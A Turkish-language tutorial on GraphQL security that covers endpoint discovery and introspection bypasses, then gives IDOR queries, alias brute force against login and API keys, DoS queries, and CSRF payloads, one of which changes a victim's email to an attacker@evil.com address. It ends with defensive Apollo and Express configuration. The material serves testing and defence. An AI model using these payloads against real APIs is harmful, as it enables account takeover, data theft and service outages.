GraphQL API Güvenlik Açıkları

GraphQL Nedir ve Nasıl Çalışır?

GraphQL, istemciler ve sunucular arasında verimli iletişimi kolaylaştırmak için tasarlanmış bir API sorgu dilidir. Kullanıcının yanıtta tam olarak hangi veriyi istediğini belirtmesini sağlar, böylece REST API'lerde görülen büyük yanıt nesneleri ve çoklu çağrıları önlemeye yardımcı olur.

GraphQL servisleri, bir istemcinin sunucu ile iletişim kurabileceği bir sözleşme tanımlar. İstemcinin verinin nerede bulunduğunu bilmesi gerekmez. Platform bağımsız olan GraphQL, çok çeşitli programlama dilleriyle implementasyonu yapılabilir ve hemen hemen her veri deposuyla iletişim kurmak için kullanılabilir.

GraphQL vs REST

REST: Çoklu endpoint, HTTP metodları, over/under-fetching
GraphQL: Tek endpoint, POST istekleri, esnek veri alma

GraphQL Nasıl Çalışır?

GraphQL şemaları, servisin veri yapısını tanımlar ve mevcut nesneleri (tipler), alanları ve ilişkileri listeler. Tüm GraphQL operasyonları aynı endpoint'i kullanır ve genellikle POST isteği olarak gönderilir.

# Basit şema tanımı örneği
type Product {
    id: ID!
    name: String!
    description: String!
    price: Int
    listed: Boolean
}

type Query {
    getProduct(id: ID!): Product
    getProducts: [Product]
}

type Mutation {
    createProduct(name: String!, description: String!): Product
    updateProduct(id: ID!, name: String): Product
}

GraphQL Operasyon Türleri

Queries (Sorgular) Veri alma

Mutations (Mutasyonlar) Veri değiştirme

Subscriptions (Abonelikler) Real-time bağlantı

# Örnek sorgu
query myGetProductQuery {
    getProduct(id: 123) {
        id
        name
        description
        price
    }
}

# Yanıt
{
    "data": {
        "getProduct": {
            "id": 123,
            "name": "Sample Product",
            "description": "Product description",
            "price": 99
        }
    }
}

# Örnek mutasyon
mutation {
    createProduct(name: "Yeni Ürün", description: "Açıklama") {
        id
        name
        listed
    }
}

# Mutasyon yanıtı
{
    "data": {
        "createProduct": {
            "id": 124,
            "name": "Yeni Ürün",
            "listed": true
        }
    }
}

GraphQL Bileşenleri

Fields (Alanlar): Sorgulanabilir veri öğeleri. İstemci hangi alanları istediğini belirtir.
Arguments (Argümanlar): Belirli alanlar için sağlanan değerler.
Variables (Değişkenler): Dinamik argümanları geçirmek için kullanılır.
Aliases (Takma Adlar): Aynı türden birden fazla nesne döndürmeyi sağlar.
Fragments (Parçalar): Sorguların yeniden kullanılabilir bölümleri.

# Değişken kullanımı
query getEmployeeWithVariable($id: ID!) {
    getEmployees(id: $id) {
        name {
            firstname
            lastname
        }
    }
}

# Değişkenler
{
    "id": 1
}

# Alias kullanımı
query getProductDetails {
    product1: getProduct(id: "1") {
        id
        name
    }
    product2: getProduct(id: "2") {
        id
        name
    }
}

# Fragment tanımı
fragment productInfo on Product {
    id
    name
    listed
    price
}

# Fragment kullanımı
query {
    getProduct(id: 1) {
        ...productInfo
        stock
    }
}

Subscriptions (Abonelikler)

Subscriptions özel bir sorgu türüdür. İstemcilerin sunucu ile uzun süreli bir bağlantı kurmasını sağlar, böylece sunucu sürekli olarak veri için polling yapmaya gerek kalmadan gerçek zamanlı güncellemeleri istemciye gönderebilir. Chat sistemleri veya işbirliği tabanlı editörler gibi küçük gerçek zamanlı güncellemeler gerektiren işlevsellik için kullanışlıdır.

# Subscription örneği
subscription {
    messageAdded(roomId: "chat-room-1") {
        id
        content
        user {
            name
        }
        timestamp
    }
}

# WebSocket üzerinden gerçek zamanlı yanıt
{
    "data": {
        "messageAdded": {
            "id": "msg-123",
            "content": "Yeni mesaj!",
            "user": {
                "name": "Kullanıcı"
            },
            "timestamp": "2025-01-01T10:30:00Z"
        }
    }
}

Subscription Güvenlik Riski: WebSocket bağlantıları üzerinden çalışan subscription'lar, DoS saldırıları için kullanılabilir ve uygun rate limiting gerektirirler.

Introspection Sistemi

Introspection, GraphQL'in yerleşik bir özelliğidir ve şema hakkında bilgi sorgulamanızı sağlar. GraphQL IDE'leri ve dokümantasyon üretimi araçları tarafından yaygın olarak kullanılır.

# Temel introspection sorgusu
{
    __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
            name
            kind
            description
        }
    }
}

# Tüm field'ları listele
{
    __schema {
        types {
            name
            fields {
                name
                type {
                    name
                }
                description
            }
        }
    }
}

Kritik Güvenlik Riski: Introspection ciddi bir bilgi sızıntısı riski oluşturabilir çünkü potansiyel olarak hassas bilgilere (alan açıklamaları gibi) erişmek ve saldırganın API ile nasıl etkileşim kurabileceğini öğrenmesine yardımcı olmak için kullanılabilir. Üretim ortamlarında introspection'ın devre dışı bırakılması en iyi uygulamadır.

GraphQL Güvenlik Açıkları

GraphQL güvenlik açıkları genellikle implementasyon ve tasarım hatalarından kaynaklanır. Örneğin, introspection özelliği aktif bırakılabilir veya uygun CSRF koruması olmayabilir.

GraphQL Güvenlik Açığı Değerlendirmesi

Introspection Açık Yüksek Risk

CSRF Koruması Yok Kritik Risk

Rate Limiting Yok Orta Risk

Query Depth Kontrolü Düşük Risk

Kritik Uyarı: GraphQL saldırıları genellikle kötü amaçlı istekler şeklinde gelir ve saldırgana veri elde etme veya yetkisiz eylemler gerçekleştirme imkanı verebilir.

GraphQL'in Temel Özellikleri:

• Tek endpoint üzerinden tüm işlemler
• Esnek sorgu yapısı
• Type system (tip sistemi)
• Introspection desteği
• Real-time subscription'lar

GraphQL Endpoint'lerini Bulma

GraphQL API'leri test etmeden önce, endpoint'lerini bulmanız gerekir. GraphQL API'leri tüm istekler için aynı endpoint'i kullandığından, bu değerli bir bilgidir.

# Universal Query - Her GraphQL endpoint'inde çalışır
query{__typename}

# Yanıt içinde bu string yer alır:
{"data": {"__typename": "query"}}

Yaygın Endpoint İsimleri

Standart Lokasyonlar:
/graphql, /api, /api/graphql, /graphql/api, /graphql/graphql
Versiyonlu: /v1/graphql, /api/v1/graphql

# GET Request ile Test
GET /graphql?query=query%7B__typename%7D

# POST Request ile Test
POST /graphql
Content-Type: application/json

{
    "query": "query{__typename}"
}

HTTP Metodları: Üretim GraphQL endpoint'leri genellikle sadece POST isteklerini kabul eder, ancak bazıları GET veya x-www-form-urlencoded POST'u da kabul edebilir.

Burp Scanner: Burp Suite otomatik olarak GraphQL endpoint'lerini tespit edebilir ve "GraphQL endpoint found" uyarısı verir.

Introspection Saldırıları

Introspection, GraphQL'in yerleşik bir özelliğidir ve şema hakkında bilgi sorgulamanızı sağlar. Bu özellik üretim ortamında devre dışı bırakılmalıdır, ancak çoğu zaman aktif kalır.

# Basit Introspection Probe
{
    "query": "{__schema{queryType{name}}}"
}

# Introspection aktifse yanıt:
{
    "data": {
        "__schema": {
            "queryType": {
                "name": "Query"
            }
        }
    }
}

# Tam Introspection Query
query IntrospectionQuery {
    __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
            ...FullType
        }
        directives {
            name
            description
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args { ...InputValue }
        type { ...TypeRef }
        isDeprecated
        deprecationReason
    }
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
        }
    }
}

Bilgi Sızıntısı: Introspection, API'nin tüm şemasını, gizli alanları, mutasyonları ve açıklamaları açığa çıkarabilir.

Introspection Bypass Teknikleri

Özel Karakterler: __schema kelimesinden sonra boşluk, yeni satır veya virgül
Alternatif HTTP Metodları: GET request veya x-www-form-urlencoded

# Bypass örneği - yeni satır ile
{
    "query": "query{__schema\n{queryType{name}}}"
}

# GET request bypass
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D

GraphQL Visualizer: Introspection sonuçlarını görselleştirmek için online araçlar kullanabilirsiniz. Bu araçlar şema ilişkilerini daha kolay anlamanızı sağlar.

Güvensiz Argümanlar ve IDOR

GraphQL API'leri argümanlar aracılığıyla nesnelere doğrudan erişim sağlıyorsa, Insecure Direct Object Reference (IDOR) güvenlik açıklarına karşı savunmasız olabilir.

# Normal ürün listesi sorgusu
query {
    products {
        id
        name
        listed
    }
}

# Yanıt - sadece listelenmiş ürünler
{
    "data": {
        "products": [
            {"id": 1, "name": "Product 1", "listed": true},
            {"id": 2, "name": "Product 2", "listed": true},
            {"id": 4, "name": "Product 4", "listed": true}
        ]
    }
}

# IDOR saldırısı - eksik ürünü sorgulama
query {
    product(id: 3) {
        id
        name
        listed
        # Potansiyel hassas alanlar
        internalNotes
        cost
        vendor
    }
}

# Yetkisiz erişim sonucu
{
    "data": {
        "product": {
            "id": 3,
            "name": "Secret Product",
            "listed": false,
            "internalNotes": "Confidential info"
        }
    }
}

Dikkat: GraphQL'in esnek yapısı, saldırganların sadece ihtiyaç duydukları hassas alanları seçmesine olanak tanır.

IDOR Test Stratejileri

ID Enumeration: Sıralı ID'leri test edin
UUID Tahmin: Tahmin edilebilir UUID formatları
Path Traversal: ../admin gibi path traversal denemeleri

# Kullanıcı bilgilerine yetkisiz erişim
query {
    user(id: "admin") {
        id
        email
        role
        permissions
        privateData
    }
}

# Batch IDOR saldırısı
query {
    user1: user(id: 1) { id email }
    user2: user(id: 2) { id email }
    user3: user(id: 3) { id email }
}

Rate Limiting Bypass ve Aliases

GraphQL aliases özelliği, tek bir istekte aynı field'dan birden fazla sonuç almanızı sağlar. Bu özellik rate limiting'i bypass etmek için kötüye kullanılabilir.

# Normal tek sorgu
query {
    isValidDiscount(code: 1234) {
        valid
        message
    }
}

# Alias kullanarak brute force
query {
    check1: isValidDiscount(code: 1111) { valid }
    check2: isValidDiscount(code: 1112) { valid }
    check3: isValidDiscount(code: 1113) { valid }
    check4: isValidDiscount(code: 1114) { valid }
    # ... yüzlerce kod tek istekte
}

Brute Force Riski: Tek HTTP isteği içinde binlerce deneme yapılabilir. Bu, HTTP tabanlı rate limiting'i completely bypass eder.

# Login brute force örneği
query {
    attempt1: login(username: "admin", password: "password") { token }
    attempt2: login(username: "admin", password: "123456") { token }
    attempt3: login(username: "admin", password: "admin") { token }
    # ... yaygın şifreler
}

# API key brute force
query {
    key1: validateApiKey(key: "abc123") { valid }
    key2: validateApiKey(key: "def456") { valid }
    # ... binlerce key
}

Rate Limiting Türleri

HTTP Request Based: İstek sayısına göre (bypass edilebilir)
Operation Based: GraphQL operasyon sayısına göre (daha güvenli)
Query Depth Based: Sorgu derinliğine göre limit

Korunma Yöntemleri:

• Query complexity analysis
• Maximum field limit
• Query depth limiting
• Cost-based rate limiting
• Timeout mechanisms

GraphQL CSRF Saldırıları

Cross-Site Request Forgery (CSRF) güvenlik açıkları, saldırganın kurbanları istemediği eylemleri gerçekleştirmeye zorlamasını sağlar. GraphQL API'leri de CSRF saldırılarına hedef olabilir.

<!-- Kötü amaçlı HTML sayfası -->
<form action="https://victim-api.com/graphql" method="POST" enctype="application/x-www-form-urlencoded">
    <input type="hidden" name="query" 
           value="mutation{deleteUser(id:123){success}}" />
    <input type="submit" value="Click Here!" />
</form>

<!-- Otomatik submit -->
<script>
    document.forms[0].submit();
</script>

// GET request ile CSRF
<img src="https://api.com/graphql?query=mutation{transferMoney(to:\"attacker\",amount:1000){success}}" />

// JSON CSRF (eski tarayıcılarda)
fetch('https://victim-api.com/graphql', {
    method: 'POST',
    headers: {
        'Content-Type': 'text/plain'
    },
    body: '{"query":"mutation{changeEmail(email:\\"attacker@evil.com\\"){success}}"}'
});

CSRF Riski: GraphQL API'si GET isteklerini veya x-www-form-urlencoded POST'u kabul ediyorsa, CSRF saldırılarına açık olabilir.

CSRF Test Yöntemleri

Content-Type Test: application/json dışındaki türleri test edin
HTTP Method Test: GET, POST, PUT isteklerini deneyin
CORS Headers: Cross-origin isteklerin kabul edilip edilmediğini kontrol edin

# Tehlikeli mutation örnekleri
mutation {
    deleteAccount {
        success
        message
    }
}

mutation {
    changePassword(newPassword: "hacked123") {
        success
    }
}

mutation {
    transferFunds(to: "attacker-account", amount: 10000) {
        transactionId
        success
    }
}

CSRF Korunması: API sadece application/json POST isteklerini kabul etmeli ve geçerli CSRF token mekanizması kullanmalıdır.

Denial of Service (DoS) Saldırıları

GraphQL'in esnek sorgu yapısı, Denial of Service saldırıları için kullanılabilir. Karmaşık ve derin sorgular sunucuyu aşırı yükleyebilir.

# Query Depth Attack - Çok derin sorgu
query {
    user {
        friends {
            friends {
                friends {
                    friends {
                        friends {
                            friends {
                                # ... çok derin devam eder
                                name
                            }
                        }
                    }
                }
            }
        }
    }
}

# Query Complexity Attack - Çok karmaşık sorgu
query {
    posts1: posts(limit: 1000) {
        id title content
        comments(limit: 1000) {
            id content
            author { id name email }
            replies(limit: 1000) {
                id content author { id name email }
            }
        }
        tags { id name }
        author {
            id name email
            posts(limit: 1000) {
                id title
            }
        }
    }
    # ... aynı sorgu 100 kez alias ile
}

Resource Exhaustion: Bu tür sorgular CPU, memory ve veritabanı kaynaklarını tüketebilir, hizmetin çökmesine neden olabilir.

# Recursive Query Attack
query {
    post(id: 1) {
        comments {
            replies {
                replies {
                    replies {
                        # Sonsuz recursive call
                        post { comments { replies { ... } } }
                    }
                }
            }
        }
    }
}

# Field Duplication Attack
query {
    users {
        id id id id id id id id id id
        name name name name name name
        email email email email email
        # ... aynı field'lar tekrarlanır
    }
}

DoS Saldırı Türleri

Query Depth Attack Yüksek Etki

Query Complexity Attack Kritik Etki

Resource Exhaustion Yüksek Etki

Batch Query Attack Orta Etki

DoS Korunma Teknikleri:

• Query depth limiting (max 10-15 level)
• Query complexity analysis
• Request timeout (5-30 saniye)
• Field count limiting
• Query cost calculation
• Rate limiting per operation

GraphQL Güvenlik Testi

GraphQL API'lerini sistematik olarak test etmek için metodolojik bir yaklaşım gerekir. İşte adım adım test stratejisi:

Güvenlik Test Checklist

1. Discovery: Endpoint bulma ve tanımlama
2. Introspection: Şema bilgisi toplama
3. Authentication: Auth bypass testleri
4. Authorization: IDOR ve privilege escalation
5. Input Validation: Injection testleri
6. DoS Testing: Resource exhaustion

# GraphQL testing tools
# Clairvoyance - Schema discovery
clairvoyance -d target.com -o schema.json

# GraphQL Voyager - Schema visualization
# Online tool: https://apis.guru/graphql-voyager/

# Burp Suite GraphQL extension
# InQL Scanner extension

# GraphQL Cop - Security scanner
graphql-cop -t https://target.com/graphql

# Python ile GraphQL testing
import requests

def test_introspection(url):
    query = """
    {
        __schema {
            queryType { name }
            mutationType { name }
            types { name }
        }
    }
    """
    
    response = requests.post(url, 
        json={"query": query},
        headers={"Content-Type": "application/json"}
    )
    
    if "__schema" in response.text:
        print("[+] Introspection enabled!")
        return True
    return False

# IDOR test function
def test_idor(url, object_type, start_id, end_id):
    for i in range(start_id, end_id):
        query = f"""
        {{
            {object_type}(id: {i}) {{
                id
                name
                email
            }}
        }}
        """
        response = requests.post(url, json={"query": query})
        if "data" in response.json():
            print(f"[+] Found {object_type} with ID {i}")

Test Etikası: Sadece yetkiniz olan sistemlerde test yapın. Unauthorized testing yasal sonuçlar doğurabilir.

Automated Testing: Burp Suite Professional'ın GraphQL extension'ları ile otomatik testler yapabilirsiniz.

GraphQL Güvenlik İpuçları ve En İyi Uygulamalar

GraphQL API'lerinizi güvenli hale getirmek için aşağıdaki en iyi uygulamaları takip edin:

Üretim Öncesi Güvenlik Kontrolleri:

• Introspection'ı devre dışı bırakın
• Query depth limiting uygulayın (max 10-15)
• Query complexity analysis implementasyonu
• Rate limiting - operation bazlı
• Authentication & Authorization her field için
• Input validation ve sanitization

// Apollo Server güvenlik konfigürasyonu
const { ApolloServer } = require('apollo-server-express');
const depthLimit = require('graphql-depth-limit');
const costAnalysis = require('graphql-cost-analysis');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  
  // Introspection'ı production'da kapat
  introspection: process.env.NODE_ENV !== 'production',
  playground: process.env.NODE_ENV !== 'production',
  
  // Query depth limiting
  validationRules: [depthLimit(10)],
  
  // Cost analysis
  plugins: [
    costAnalysis({
      maximumCost: 1000,
      onComplete: (cost) => {
        console.log(`Query cost: ${cost}`);
      }
    })
  ],
  
  // Context ile authorization
  context: ({ req }) => {
    const token = req.headers.authorization;
    const user = validateToken(token);
    return { user };
  }
});

Güvenlik Middleware'leri

graphql-depth-limit: Query derinliği kontrolü
graphql-query-complexity: Sorgu karmaşıklığı analizi
graphql-rate-limit: Field bazlı rate limiting
graphql-armor: Kapsamlı güvenlik paketi

// Field-level authorization örneği
const resolvers = {
  Query: {
    users: async (parent, args, context) => {
      // Yetki kontrolü
      if (!context.user || context.user.role !== 'admin') {
        throw new Error('Unauthorized');
      }
      return getUsers();
    }
  },
  
  User: {
    email: (user, args, context) => {
      // Sadece kendi email'ini veya admin görebilir
      if (context.user.id === user.id || context.user.role === 'admin') {
        return user.email;
      }
      return null;
    }
  }
};

// Input validation örneği
const { GraphQLScalarType } = require('graphql');
const { GraphQLError } = require('graphql');

const EmailType = new GraphQLScalarType({
  name: 'Email',
  serialize: value => value,
  parseValue: value => {
    if (!isValidEmail(value)) {
      throw new GraphQLError('Invalid email format');
    }
    return value;
  }
});

CSRF Korunması: API sadece application/json Content-Type ile POST isteklerini kabul etmeli ve valid CSRF token kontrolü yapmalıdır.

// CSRF korunması
const express = require('express');
const csrf = require('csurf');

const app = express();

// Sadece JSON POST kabul et
app.use('/graphql', (req, res, next) => {
  if (req.method !== 'POST' || req.headers['content-type'] !== 'application/json') {
    return res.status(405).json({ error: 'Method not allowed' });
  }
  next();
});

// CSRF token kontrolü
app.use(csrf({ cookie: true }));

Monitoring ve Logging: GraphQL query'lerini, cost'ları ve anomalileri loglamayı unutmayın. GraphQL-specific monitoring araçları kullanın.

Güvenlik Kontrol Listesi

Introspection Devre Dışı ✓ Güvenli

Query Depth Limiting ✓ Aktif

Rate Limiting ✓ Operasyon Bazlı

CSRF Korunması ✓ Token Bazlı

Önerilen Güvenlik Araçları

Static Analysis: ESLint GraphQL rules, GraphQL Inspector
Runtime Security: GraphQL Armor, Apollo Studio
Testing: GraphQL Cop, InQL, Clairvoyance
Monitoring: Apollo Studio, GraphQL Hive

GraphQL Güvenliğinin Geleceği

GraphQL'in popülaritesi arttıkça, güvenlik araçları ve best practice'ler de gelişmeye devam ediyor. Proaktif güvenlik yaklaşımı benimseyin ve sürekli güncel kalın.

Önemli Hatırlatmalar

Defense in Depth: Çok katmanlı güvenlik stratejisi uygulayın
Regular Testing: Düzenli güvenlik testleri ve kod incelemesi
Monitoring: Anomali detection ve real-time monitoring
Education: Geliştirici ekibinizi GraphQL güvenliği konusunda eğitin

"Güvenlik, bir sonuç değil süreçtir!"